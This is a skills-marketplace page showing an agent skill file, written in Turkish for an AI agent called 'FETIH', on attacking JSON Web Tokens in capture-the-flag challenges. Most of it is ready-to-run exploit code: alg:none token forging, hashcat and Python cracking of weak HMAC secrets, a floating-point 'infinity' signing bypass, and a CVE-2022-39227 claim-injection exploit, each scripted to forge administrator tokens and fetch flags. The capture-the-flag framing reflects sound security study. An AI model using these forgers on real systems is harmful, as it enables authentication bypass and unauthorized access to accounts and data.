本文へ移動
cccskills
無料GitHub で公開

jwt-attacks

JWT saldırıları — alg:none, HMAC brute-force, floating point bypass, CVE-2022-39227

インストール方法を見る

含まれるファイル(1)

  • SKILL.md16.3 KB

SKILL.md(原文)

インストールする前に、エージェントに与えられる指示の中身を確認できます。

JWT Saldırıları

JWT (JSON Web Token) formatı: base64url(header).base64url(payload).signature

Ne Zaman Kullan

  • Challenge'da eyJ ile başlayan bir token varsa (base64url encoded JSON header)
  • Cookie veya Authorization header'da JWT görürsen
  • "admin", "role", "user" gibi claim'ler içeren token forge etmen gerekiyorsa
  • Kaynak kodda python-jwt, pyjwt, jsonwebtoken kütüphaneleri görürsen
  • "Invalid signature", "Token expired" gibi mesajlar alıyorsan

Hızlı Kontrol

# Token'ı decode et (imza doğrulaması olmadan)
echo "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJyb2xlIjoidXNlciJ9.xxx" | cut -d'.' -f1 | base64 -d 2>/dev/null
echo "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJyb2xlIjoidXNlciJ9.xxx" | cut -d'.' -f2 | base64 -d 2>/dev/null

Saldırı 1: alg:none (Algoritma Bypass)

Nasıl Çalışır

JWT kütüphanesi alg değerini körü körüne güvenirse, "alg":"none" yaparak imzayı tamamen atlayabiliriz. Header'da algoritma none olduğunda kütüphane imza doğrulaması yapmaz, boş imzayı kabul eder.

LINE CTF 2024 - jalyboy baby Örneği

Hedef: sub claim'ini admin yap, imzayı geçer kıl.

import base64
import json

def b64url_encode(data: bytes) -> str:
    """Padding olmadan base64url encode."""
    return base64.urlsafe_b64encode(data).rstrip(b'=').decode()

def b64url_decode(s: str) -> bytes:
    """Padding ekleyerek base64url decode."""
    padding = 4 - len(s) % 4
    if padding != 4:
        s += '=' * padding
    return base64.urlsafe_b64decode(s)

def forge_alg_none(original_token: str, new_claims: dict) -> str:
    """
    alg:none saldırısı ile yeni claim'ler içeren token üret.
    
    Args:
        original_token: Orijinal geçerli JWT
        new_claims: İstenen claim değerleri (örn: {"sub": "admin", "role": "admin"})
    
    Returns:
        Forge edilmiş JWT token
    """
    parts = original_token.split('.')
    
    # Orijinal payload'u decode et
    original_payload = json.loads(b64url_decode(parts[1]))
    print(f"[*] Orijinal payload: {original_payload}")
    
    # Payload'u güncelle
    original_payload.update(new_claims)
    print(f"[*] Yeni payload: {original_payload}")
    
    # Header'ı alg:none yap
    new_header = {"alg": "none", "typ": "JWT"}
    
    # Yeni token'ı oluştur (imza boş)
    header_encoded = b64url_encode(json.dumps(new_header, separators=(',', ':')).encode())
    payload_encoded = b64url_encode(json.dumps(original_payload, separators=(',', ':')).encode())
    
    # alg:none tokenında imza bölümü boş string olmalı
    forged = f"{header_encoded}.{payload_encoded}."
    
    print(f"[+] Forge edilmiş token: {forged}")
    return forged

# Kullanım
original = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJ1c2VyIiwicm9sZSI6InVzZXIifQ.SIGNATURE"
token = forge_alg_none(original, {"sub": "admin", "role": "admin"})

Varyasyonlar: "None" Yazım Farklılıkları

Bazı kütüphaneler sadece küçük harf none kontrol eder. Dene:

  • "alg": "None"
  • "alg": "NONE"
  • "alg": "nOnE"
for alg_variant in ["none", "None", "NONE", "nOnE", "NoNe"]:
    header = {"alg": alg_variant, "typ": "JWT"}
    # ... aynı forge işlemi

Saldırı 2: HMAC Secret Brute-Force

Nasıl Çalışır

JWT HS256 algoritmasıyla imzalanmışsa, secret zayıf bir kelimeyse brute-force ile kırılabilir. Secret bulununca istenen payload ile geçerli token üretilir.

Hashcat ile Kırma (Önerilen Yöntem)

# Token'ı dosyaya kaydet (tek satır, tam token)
echo "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJyb2xlIjoidXNlciJ9.ABCDEF" > jwt.txt

# Rockyou wordlist ile kır (-m 16500 = JWT modu)
hashcat -m 16500 jwt.txt /usr/share/wordlists/rockyou.txt --show

# Kısa secretlar için brute-force (1-6 karakter, küçük harf + rakam)
hashcat -m 16500 jwt.txt -a 3 "?l?l?l?l?l" --increment --increment-min 1

# Özel charset ile (lowercase + digit, max 5 karakter)
hashcat -m 16500 jwt.txt -a 3 -1 "abcdefghijklmnopqrstuvwxyz0123456789" "?1?1?1?1?1"

# Kırılan secret'ı göster
hashcat -m 16500 jwt.txt --show

WolvCTF 2024 - Username Örneği

Secret mstzt (5 karakter, sadece küçük harf) idi. Hashcat ile dakikalar içinde kırıldı.

hashcat -m 16500 wolv_jwt.txt -a 3 "?l?l?l?l?l"
# Çıktı: ...token...:mstzt

Python ile Manuel Brute-Force

import hmac
import hashlib
import base64
import json
import itertools
import string

def b64url_encode(data: bytes) -> str:
    return base64.urlsafe_b64encode(data).rstrip(b'=').decode()

def b64url_decode(s: str) -> bytes:
    padding = 4 - len(s) % 4
    if padding != 4:
        s += '=' * padding
    return base64.urlsafe_b64decode(s)

def verify_jwt_secret(token: str, secret: str) -> bool:
    """Verilen secret ile JWT imzasını doğrula."""
    parts = token.split('.')
    if len(parts) != 3:
        return False
    
    message = f"{parts[0]}.{parts[1]}".encode()
    expected_sig = b64url_decode(parts[2])
    
    actual_sig = hmac.new(secret.encode(), message, hashlib.sha256).digest()
    return hmac.compare_digest(expected_sig, actual_sig)

def brute_force_jwt(token: str, wordlist_path: str = None, max_len: int = 6) -> str | None:
    """
    JWT secret'ı wordlist veya brute-force ile bul.
    
    Returns:
        Bulunan secret veya None
    """
    # Önce wordlist dene
    if wordlist_path:
        print(f"[*] Wordlist deneniyor: {wordlist_path}")
        try:
            with open(wordlist_path, 'r', encoding='utf-8', errors='ignore') as f:
                for i, line in enumerate(f):
                    secret = line.strip()
                    if verify_jwt_secret(token, secret):
                        print(f"[+] Secret bulundu: {secret} ({i} satırda)")
                        return secret
                    if i % 100000 == 0:
                        print(f"[*] {i} denendi...")
        except FileNotFoundError:
            print(f"[-] Wordlist bulunamadı: {wordlist_path}")
    
    # Brute-force (kısa secretlar için)
    charset = string.ascii_lowercase + string.digits
    print(f"[*] Brute-force başlıyor (max {max_len} karakter, charset: {charset})")
    
    for length in range(1, max_len + 1):
        print(f"[*] {length} karakter deneniyor...")
        for combo in itertools.product(charset, repeat=length):
            secret = ''.join(combo)
            if verify_jwt_secret(token, secret):
                print(f"[+] Secret bulundu: {secret}")
                return secret
    
    print("[-] Secret bulunamadı")
    return None

def forge_with_secret(secret: str, new_payload: dict, alg: str = "HS256") -> str:
    """Bilinen secret ile yeni payload içeren geçerli JWT üret."""
    header = {"alg": alg, "typ": "JWT"}
    header_enc = b64url_encode(json.dumps(header, separators=(',', ':')).encode())
    payload_enc = b64url_encode(json.dumps(new_payload, separators=(',', ':')).encode())
    
    message = f"{header_enc}.{payload_enc}".encode()
    signature = hmac.new(secret.encode(), message, hashlib.sha256).digest()
    sig_enc = b64url_encode(signature)
    
    return f"{header_enc}.{payload_enc}.{sig_enc}"

# Kullanım
token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJyb2xlIjoidXNlciJ9.SIGNATURE"
secret = brute_force_jwt(token, "/usr/share/wordlists/rockyou.txt")

if secret:
    admin_token = forge_with_secret(secret, {"role": "admin", "sub": "admin"})
    print(f"[+] Admin token: {admin_token}")

Saldırı 3: Floating Point Infinity (LACTF 2024 - jason-web-token)

Nasıl Çalışır

Python'da float("inf") veya 1e309 değeri infinity'e dönüşür. Eğer server tarafı JWT doğrulaması şöyleyse:

# Zafiyetli kod
salted_secret = float(age) * SECRET_VALUE
if salted_secret == provided_secret:
    grant_access()

age = 1e309 → float("1e309") = inf → inf * herhangi_bir_sayi = inf → Karşılaştırma her zaman True olur (eğer provided_secret de inf ise).

LACTF 2024 Tam Çözümü

import base64
import json
import hmac
import hashlib
import requests

def b64url_encode(data: bytes) -> str:
    return base64.urlsafe_b64encode(data).rstrip(b'=').decode()

def b64url_decode(s: str) -> bytes:
    padding = 4 - len(s) % 4
    if padding != 4:
        s += '=' * padding
    return base64.urlsafe_b64decode(s)

# 1. Adım: Normal kayıt ol ve token al
session = requests.Session()
BASE_URL = "http://challenge.lactf.uclaacm.com:PORT"

resp = session.post(f"{BASE_URL}/register", json={"username": "testuser", "age": 25})
token = resp.json()["token"]
print(f"[*] Normal token alındı: {token}")

# 2. Adım: Token'ı incele
parts = token.split('.')
payload = json.loads(b64url_decode(parts[1]))
print(f"[*] Payload: {payload}")
# Örn: {"username": "testuser", "age": 25, "iat": 1234567890}

# 3. Adım: age değerini infinity yaparak yeni token üret
# Challenge'da secret, age'e dayalı türetiliyordu
# age = 1e309 → Python'da inf olur → salted_secret her zaman inf

# Önce mevcut secret ile token imzalanmış mı kontrol et
# (Çoğu zaman secret bilinmez; ama floating point bypass farklı çalışır)

# Challenge'ın özel mantığı:
# server.py: secret_key = str(age * MAGIC_NUMBER) 
# age=inf → secret_key = "inf" → biz de "inf" ile imzalayabiliriz!

def forge_infinity_token(original_token: str) -> str:
    parts = original_token.split('.')
    original_payload = json.loads(b64url_decode(parts[1]))
    
    # age'i infinity yapan değer
    new_payload = original_payload.copy()
    new_payload["age"] = 1e309  # Python bunu JSON'da "Infinity" olarak serileştirebilir
    
    # Ama JSON standardında Infinity geçersiz, bu yüzden string trick kullan:
    # Bazı challenge'larda float("inf") JSON serialize edilince "Infinity" olur
    # Server bunu float'a çevirince inf * MAGIC = inf → "inf" secret key
    
    # Secret key artık "inf" (veya "Infinity") - bunu kullanarak imzala
    secret_key = "inf"  # Server'ın ürettiği key
    
    header_enc = parts[0]  # Header değişmeden kalır (HS256)
    payload_enc = b64url_encode(json.dumps(new_payload, separators=(',', ':'), 
                                           allow_nan=True).encode())
    
    message = f"{header_enc}.{payload_enc}".encode()
    sig = hmac.new(secret_key.encode(), message, hashlib.sha256).digest()
    
    return f"{header_enc}.{payload_enc}.{b64url_encode(sig)}"

# 4. Adım: Admin erişimi dene
forged = forge_infinity_token(token)
resp = session.get(f"{BASE_URL}/flag", headers={"Authorization": f"Bearer {forged}"})
print(f"[+] Sonuç: {resp.text}")

Temel Fikir

# Python floating point davranışı
>>> float("1e309")
inf
>>> import math
>>> math.isinf(float("1e309"))
True
>>> float("1e309") * 99999
inf
>>> float("1e309") * 0.001  
inf
>>> str(float("1e309") * 12345)
'inf'
# Yani server hangi MAGIC_NUMBER kullanırsa kullansın, sonuç "inf" string'i olur

Saldırı 4: CVE-2022-39227 (python-jwt < 3.3.4)

Zafiyet Nedir

python-jwt kütüphanesinin 3.3.4 öncesi sürümlerinde, imzalanmış bir token'ın claim'leri değiştirilebilir ancak orijinal imza hâlâ geçerli sayılır. "Signature reuse" + "claim injection" zafiyeti.

HTB Cyber Apocalypse 2024 - LockTalk Örneği

# Hedef: guest token alıp administrator yetkisi kazan
# Kullanılan versiyon: python-jwt 3.3.2 (zafiyetli)

import json
import base64
import re
import requests

def exploit_cve_2022_39227(token: str, injected_claims: dict) -> str:
    """
    CVE-2022-39227: python-jwt'de claim injection.
    
    Zafiyetin özeti:
    - python-jwt token'ı parse ederken önce header/payload'u base64 decode eder
    - Sonra JSON'u parse eder ve "en dıştaki" JSON key'lerini alır
    - Eğer payload içine ek JSON objesi enjekte edersek, python-jwt bunu parse eder
    - Ama imzayı orijinal (iç) payload üzerinden doğrular → imza geçerli kalır!
    
    PoC: https://github.com/user0x1337/CVE-2022-39227
    """
    
    parts = token.split('.')
    header = parts[0]
    payload_b64 = parts[1]
    signature = parts[2]
    
    # Orijinal payload'u decode et
    padding = 4 - len(payload_b64) % 4
    if padding != 4:
        payload_b64_padded = payload_b64 + '=' * padding
    else:
        payload_b64_padded = payload_b64
    
    original_payload = json.loads(base64.urlsafe_b64decode(payload_b64_padded))
    print(f"[*] Orijinal payload: {original_payload}")
    
    # Yeni payload'u oluştur
    # Trick: JSON'u wrap ederek enjekte et
    # {"original_key": "original_val", " INJECTED": {"role": "administrator"}}
    # python-jwt bunu parse edince INJECTED key'ini görür ama imzayı orijinal üzerinden doğrular
    
    injected_part = json.dumps(injected_claims, separators=(',', ':'))
    
    # Orijinal JSON'u string olarak manipüle et
    original_json = json.dumps(original_payload, separators=(',', ':'))
    
    # Son } kaldır ve enjekte edilecek claim'i ekle
    # Örnek: {"role":"guest"} → {"role":"guest", "role":"administrator"}
    # python-jwt son değeri alır
    modified_json = original_json[:-1] + ',' + injected_part[1:]
    
    print(f"[*] Manipüle edilmiş JSON: {modified_json}")
    
    # Yeni payload'u encode et
    new_payload_b64 = base64.urlsafe_b64encode(modified_json.encode()).rstrip(b'=').decode()
    
    # Orijinal imzayı kullan (CVE: imza hâlâ geçerli!)
    new_token = f"{header}.{new_payload_b64}.{signature}"
    
    print(f"[+] CVE-2022-39227 exploit token: {new_token}")
    return new_token

# HTB LockTalk örneği
BASE_URL = "http://94.237.x.x:PORT"

# 1. Guest token al
resp = requests.get(f"{BASE_URL}/api/v1/get_token")
guest_token = resp.json()["token"]
print(f"[*] Guest token: {guest_token}")

# 2. CVE exploit ile administrator claim enjekte et
admin_token = exploit_cve_2022_39227(
    guest_token, 
    {"role": "administrator"}
)

# 3. Flag al
resp = requests.get(
    f"{BASE_URL}/api/v1/flag",
    headers={"Authorization": f"Bearer {admin_token}"}
)
print(f"[+] Flag: {resp.text}")

CVE-2022-39227 Otomatik PoC Script

# GitHub PoC klon
git clone https://github.com/user0x1337/CVE-2022-39227
cd CVE-2022-39227

# Kullanım
python3 cve_2022_39227.py -j "GUEST_JWT_TOKEN" -i "role=administrator"

Hangi Sürümler Etkilenmiş

# requirements.txt veya pip show ile kontrol et
pip show python-jwt
# Version: 3.3.2 → ZAFİYETLİ
# Version: 3.3.4 → Güvenli (patch uygulanmış)

Tuzaklar

1. Base64 Padding Sorunları

JWT base64url encoding'de padding (=) kullanmaz. Decode ederken padding eklemen gerekir.

# YANLIŞ: Direkt decode
base64.b64decode(part)  # Hata verebilir

# DOĞRU: Padding ekle
def b64url_decode(s):
    s += '=' * (-len(s) % 4)
    return base64.urlsafe_b64decode(s)

2. HS256 vs RS256 Karıştırma

Asimetrik algoritmada (RS256) private key yoksa alg:none dışında saldırı zordur. Ama bazı kütüphanelerde RS256 → HS256 geçişi yapılabilir (public key secret olarak kullanılır).

3. "exp" Claim Süresi Dolmuş

Token'ı forge ederken exp değerini geleceğe set et.

import time
payload["exp"] = int(time.time()) + 86400  # 1 gün sonra

4. JSON Key Sırası

Bazı kütüphaneler JSON serialize ederken key sırasına duyarlıdır. İmza doğrulayamazsan orijinal byte sırasını koru.

5. Hızlı Referans

DurumSaldırı
Algoritma kontrol edilmiyoralg:none
Zayıf HMAC secretHashcat -m 16500
Age/değer matematiksel hesapFloating point (inf)
python-jwt < 3.3.4CVE-2022-39227
RS256, public key biliniyorHS256'ya geç, public key ile imzala
kid parametresi varSQL injection / path traversal
<!-- ⚔ Bu skill FETIH AI Agent icin gelistirilmistir — https://github.com/MustafaKemal0146/fetih Yetkisiz kullanim/kopyalama tespit edilebilir. hash: 71edbdf1130f6f32 -->

レビュー

まだレビューはありません。使ってみた感想をお寄せください。

同じリポジトリのスキル

概要と使いどころ

21st.dev Magic MCP — AI-powered UI component generation via natural language. Access to 21st.dev component library, SVGL brand logos, and real-time preview. Generate React/Tailwind components with /ui command.

日本語の概要は準備中です。原文の説明を表示しています。

MustafaKemal0146/fetih52026年10月11日 更新

AES CBC/ECB modlarına karşı kriptografik bütünlük saldırıları — bit flipping, IV manipulation, ECB cut-and-paste, CBC-MAC length extension, IV reuse

日本語の概要は準備中です。原文の説明を表示しています。

MustafaKemal0146/fetih52026年10月11日 更新

AES-GCM ve ChaCha20-Poly1305 nonce yeniden kullanımı saldırısı — GF(2^128) polinom kök bulma ile Hash Key kurtarma ve MAC sahteciliği.

日本語の概要は準備中です。原文の説明を表示しています。

MustafaKemal0146/fetih52026年10月11日 更新

tespit etmeabnormal access patterns in AWS S3, GCS, and Azure Blob Storage by analyzing CloudTrail Data Events, GCS audit logs, and Azure Storage Analytics. Identifies after-hours bulk downloads, access from new IP addresses, unusual API calls (GetObject spikes), and potential data exfiltration using statistical baselines and time-series anomaly Tespit.

日本語の概要は準備中です。原文の説明を表示しています。

MustafaKemal0146/fetih52026年10月11日 更新

Perform static and symbolic analysis of Solidity smart contracts using Slither and Mythril to tespit etmereentrancy, integer overflow, access control, and other vulnerability classes before Dağıt:ment to Ethereum mainnet.

日本語の概要は準備中です。原文の説明を表示しています。

MustafaKemal0146/fetih52026年10月11日 更新

Parses Kubernetes API server audit logs (JSON lines) to tespit etmeexec-into-pod, secret access, RBAC modifications, privileged pod creation, and anonymous API access. Builds threat Tespit rules from audit event patterns. Use investigating yaparken Kubernetes cluster compromise or building k8s-specific SIEM Tespit rules.

日本語の概要は準備中です。原文の説明を表示しています。

MustafaKemal0146/fetih52026年10月11日 更新

MustafaKemal0146 のスキルをすべて見る

このスキルの問題を報告する